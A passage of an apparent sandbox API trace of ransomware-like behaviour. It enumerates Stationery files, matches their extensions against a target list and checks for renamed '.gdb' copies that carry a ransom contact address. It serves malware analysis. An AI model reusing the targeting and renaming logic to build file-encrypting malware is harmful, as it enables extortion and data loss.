Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0122.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0122.174] lstrlenW (lpString=".doc") returned 4 [0122.174] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0122.174] lstrlenW (lpString=".docx") returned 5 [0122.174] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0122.174] lstrlenW (lpString=".pdf") returned 4 [0122.174] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0122.174] lstrlenW (lpString=".xls") returned 4 [0122.174] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0122.174] lstrlenW (lpString=".xlsx") returned 5 [0122.174] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0122.174] lstrlenW (lpString=".ppt") returned 4 [0122.174] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0122.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0122.174] lstrlenW (lpString=".zip") returned 4 [0122.174] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0122.175] lstrlenW (lpString=".rar") returned 4 [0122.175] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0122.175] lstrlenW (lpString=".bz2") returned 4 [0122.175] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0122.175] lstrlenW (lpString=".7z") returned 3 [0122.175] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0122.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0122.175] lstrlenW (lpString=".dbf") returned 4 [0122.175] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0122.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0122.175] lstrlenW (lpString=".1cd") returned 4 [0122.175] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0122.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0122.175] lstrlenW (lpString=".jpg") returned 4 [0122.175] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0122.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0122.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0122.175] lstrlenW (lpString=".doc") returned 4 [0122.175] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0122.175] lstrlenW (lpString=".docx") returned 5 [0122.175] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0122.175] lstrlenW (lpString=".pdf") returned 4 [0122.175] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0122.175] lstrlenW (lpString=".xls") returned 4 [0122.175] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0122.175] lstrlenW (lpString=".xlsx") returned 5 [0122.175] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0122.175] lstrlenW (lpString=".ppt") returned 4 [0122.175] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0122.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0122.175] lstrlenW (lpString=".zip") returned 4 [0122.175] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0122.175] lstrlenW (lpString=".rar") returned 4 [0122.175] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0122.175] lstrlenW (lpString=".bz2") returned 4 [0122.175] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0122.176] lstrlenW (lpString=".7z") returned 3 [0122.176] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0122.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0122.176] lstrlenW (lpString=".dbf") returned 4 [0122.176] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0122.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0122.176] lstrlenW (lpString=".1cd") returned 4 [0122.176] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0122.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0122.176] lstrlenW (lpString=".jpg") returned 4 [0122.176] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0122.176] lstrcmpiW (lpString1=".jpg", lpString2=".gdb") returned 1 [0122.176] lstrlenW (lpString="Small_News.jpg") returned 14 [0122.176] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0122.177] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=1990) returned 1 [0122.177] CloseHandle (hObject=0x208) returned 1 [0122.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg")) returned 0x20 [0122.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0122.177] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0122.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72 [0122.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72 [0122.177] lstrlenW (lpString=".doc") returned 4 [0122.177] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0122.177] lstrlenW (lpString=".docx") returned 5 [0122.177] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0122.177] lstrlenW (lpString=".pdf") returned 4 [0122.177] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0122.177] lstrlenW (lpString=".xls") returned 4 [0122.177] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0122.177] lstrlenW (lpString=".xlsx") returned 5 [0122.177] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0122.177] lstrlenW (lpString=".ppt") returned 4 [0122.177] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0122.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72 [0122.177] lstrlenW (lpString=".zip") returned 4 [0122.177] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0122.177] lstrlenW (lpString=".rar") returned 4 [0122.177] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0122.177] lstrlenW (lpString=".bz2") returned 4 [0122.178] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0122.178] lstrlenW (lpString=".7z") returned 3 [0122.178] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0122.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72 [0122.178] lstrlenW (lpString=".dbf") returned 4 [0122.178] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0122.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72 [0122.178] lstrlenW (lpString=".1cd") returned 4 [0122.178] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0122.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72 [0122.178] lstrlenW (lpString=".jpg") returned 4 [0122.178] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0122.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72 [0122.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72 [0122.178] lstrlenW (lpString=".doc") returned 4 [0122.178] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0122.178] lstrlenW (lpString=".docx") returned 5 [0122.178] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0122.178] lstrlenW (lpString=".pdf") returned 4 [0122.178] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0122.178] lstrlenW (lpString=".xls") returned 4 [0122.178] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0122.178] lstrlenW (lpString=".xlsx") returned 5 [0122.178] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0122.178] lstrlenW (lpString=".ppt") returned 4 [0122.178] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0122.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72 [0122.178] lstrlenW (lpString=".zip") returned 4 [0122.178] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0122.178] lstrlenW (lpString=".rar") returned 4 [0122.178] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0122.179] lstrlenW (lpString=".bz2") returned 4 [0122.179] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0122.179] lstrlenW (lpString=".7z") returned 3 [0122.179] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0122.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72 [0122.179] lstrlenW (lpString=".dbf") returned 4 [0122.179] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0122.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72 [0122.179] lstrlenW (lpString=".1cd") returned 4 [0122.179] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0122.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72 [0122.179] lstrlenW (lpString=".jpg") returned 4 [0122.179] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0122.179] lstrcmpiW (lpString1=".htm", lpString2=".gdb") returned 1 [0122.179] lstrlenW (lpString="Soft Blue.htm") returned 13 [0122.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0122.180] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=232) returned 1 [0122.180] CloseHandle (hObject=0x208) returned 1 [0122.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20 [0122.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0122.180] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0122.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71 [0122.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71 [0122.180] lstrlenW (lpString=".doc") returned 4 [0122.180] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0122.180] lstrlenW (lpString=".docx") returned 5 [0122.180] lstrcmpiW (lpString1=".docx", lpString2="e.htm") returned -1 [0122.180] lstrlenW (lpString=".pdf") returned 4 [0122.180] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0122.181] lstrlenW (lpString=".xls") returned 4 [0122.181] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0122.181] lstrlenW (lpString=".xlsx") returned 5 [0122.181] lstrcmpiW (lpString1=".xlsx", lpString2="e.htm") returned -1 [0122.181] lstrlenW (lpString=".ppt") returned 4 [0122.181] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0122.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71 [0122.181] lstrlenW (lpString=".zip") returned 4 [0122.181] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0122.181] lstrlenW (lpString=".rar") returned 4 [0122.181] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0122.181] lstrlenW (lpString=".bz2") returned 4 [0122.181] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0122.181] lstrlenW (lpString=".7z") returned 3 [0122.181] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0122.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71 [0122.181] lstrlenW (lpString=".dbf") returned 4 [0122.181] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0122.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71 [0122.181] lstrlenW (lpString=".1cd") returned 4 [0122.181] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0122.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71 [0122.181] lstrlenW (lpString=".jpg") returned 4 [0122.181] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0122.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71 [0122.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71 [0122.181] lstrlenW (lpString=".doc") returned 4 [0122.181] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0122.181] lstrlenW (lpString=".docx") returned 5 [0122.181] lstrcmpiW (lpString1=".docx", lpString2="e.htm") returned -1 [0122.181] lstrlenW (lpString=".pdf") returned 4 [0122.181] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0122.181] lstrlenW (lpString=".xls") returned 4 [0122.181] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0122.181] lstrlenW (lpString=".xlsx") returned 5 [0122.181] lstrcmpiW (lpString1=".xlsx", lpString2="e.htm") returned -1 [0122.181] lstrlenW (lpString=".ppt") returned 4 [0122.181] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0122.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71 [0122.181] lstrlenW (lpString=".zip") returned 4 [0122.181] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0122.181] lstrlenW (lpString=".rar") returned 4 [0122.181] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0122.181] lstrlenW (lpString=".bz2") returned 4 [0122.182] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0122.182] lstrlenW (lpString=".7z") returned 3 [0122.182] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0122.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71 [0122.182] lstrlenW (lpString=".dbf") returned 4 [0122.182] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0122.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71 [0122.182] lstrlenW (lpString=".1cd") returned 4 [0122.182] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0122.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71 [0122.182] lstrlenW (lpString=".jpg") returned 4 [0122.182] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0122.182] lstrcmpiW (lpString1=".jpg", lpString2=".gdb") returned 1 [0122.182] lstrlenW (lpString="SoftBlue.jpg") returned 12 [0122.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0122.183] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=10569) returned 1 [0122.183] CloseHandle (hObject=0x208) returned 1 [0122.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0x20 [0122.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0122.184] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0122.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70 [0122.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70 [0122.184] lstrlenW (lpString=".doc") returned 4 [0122.184] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0122.184] lstrlenW (lpString=".docx") returned 5 [0122.184] lstrcmpiW (lpString1=".docx", lpString2="e.jpg") returned -1 [0122.184] lstrlenW (lpString=".pdf") returned 4 [0122.184] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0122.184] lstrlenW (lpString=".xls") returned 4 [0122.184] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0122.184] lstrlenW (lpString=".xlsx") returned 5 [0122.184] lstrcmpiW (lpString1=".xlsx", lpString2="e.jpg") returned -1 [0122.184] lstrlenW (lpString=".ppt") returned 4 [0122.184] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0122.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70 [0122.184] lstrlenW (lpString=".zip") returned 4 [0122.184] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0122.184] lstrlenW (lpString=".rar") returned 4 [0122.184] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0122.184] lstrlenW (lpString=".bz2") returned 4 [0122.184] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0122.184] lstrlenW (lpString=".7z") returned 3 [0122.184] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0122.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70 [0122.184] lstrlenW (lpString=".dbf") returned 4 [0122.184] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0122.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70 [0122.184] lstrlenW (lpString=".1cd") returned 4 [0122.184] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0122.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70 [0122.184] lstrlenW (lpString=".jpg") returned 4 [0122.184] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0122.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70 [0122.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70 [0122.184] lstrlenW (lpString=".doc") returned 4 [0122.184] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0122.185] lstrlenW (lpString=".docx") returned 5 [0122.185] lstrcmpiW (lpString1=".docx", lpString2="e.jpg") returned -1 [0122.185] lstrlenW (lpString=".pdf") returned 4 [0122.185] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0122.185] lstrlenW (lpString=".xls") returned 4 [0122.185] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0122.185] lstrlenW (lpString=".xlsx") returned 5 [0122.185] lstrcmpiW (lpString1=".xlsx", lpString2="e.jpg") returned -1 [0122.185] lstrlenW (lpString=".ppt") returned 4 [0122.185] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0122.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70 [0122.185] lstrlenW (lpString=".zip") returned 4 [0122.185] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0122.185] lstrlenW (lpString=".rar") returned 4 [0122.185] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0122.185] lstrlenW (lpString=".bz2") returned 4 [0122.185] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0122.185] lstrlenW (lpString=".7z") returned 3 [0122.185] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0122.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70 [0122.185] lstrlenW (lpString=".dbf") returned 4 [0122.185] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0122.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70 [0122.185] lstrlenW (lpString=".1cd") returned 4 [0122.185] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0122.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70 [0122.185] lstrlenW (lpString=".jpg") returned 4 [0122.185] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0122.185] lstrcmpiW (lpString1=".htm", lpString2=".gdb") returned 1 [0122.185] lstrlenW (lpString="Stars.htm") returned 9 [0122.185] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0122.185] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=230) returned 1 [0122.186] CloseHandle (hObject=0x208) returned 1 [0122.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20 [0122.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0122.186] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0122.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 67 [0122.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 67 [0122.186] lstrlenW (lpString=".doc") returned 4 [0122.186] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0122.186] lstrlenW (lpString=".docx") returned 5 [0122.186] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0122.186] lstrlenW (lpString=".pdf") returned 4 [0122.186] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0122.186] lstrlenW (lpString=".xls") returned 4 [0122.186] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0122.186] lstrlenW (lpString=".xlsx") returned 5 [0122.186] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0122.186] lstrlenW (lpString=".ppt") returned 4 [0122.186] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0122.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 67 [0122.186] lstrlenW (lpString=".zip") returned 4 [0122.186] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0122.186] lstrlenW (lpString=".rar") returned 4 [0122.186] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0122.186] lstrlenW (lpString=".bz2") returned 4 [0122.186] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0122.186] lstrlenW (lpString=".7z") returned 3 [0122.186] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0122.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 67 [0122.186] lstrlenW (lpString=".dbf") returned 4 [0122.186] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0122.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 67 [0122.186] lstrlenW (lpString=".1cd") returned 4 [0122.186] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0122.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 67 [0122.186] lstrlenW (lpString=".jpg") returned 4 [0122.186] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0122.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 67 [0122.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 67 [0122.187] lstrlenW (lpString=".doc") returned 4 [0122.187] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0122.187] lstrlenW (lpString=".docx") returned 5 [0122.187] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0122.187] lstrlenW (lpString=".pdf") returned 4 [0122.187] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0122.187] lstrlenW (lpString=".xls") returned 4 [0122.187] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0122.187] lstrlenW (lpString=".xlsx") returned 5 [0122.187] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0122.187] lstrlenW (lpString=".ppt") returned 4 [0122.187] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0122.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 67 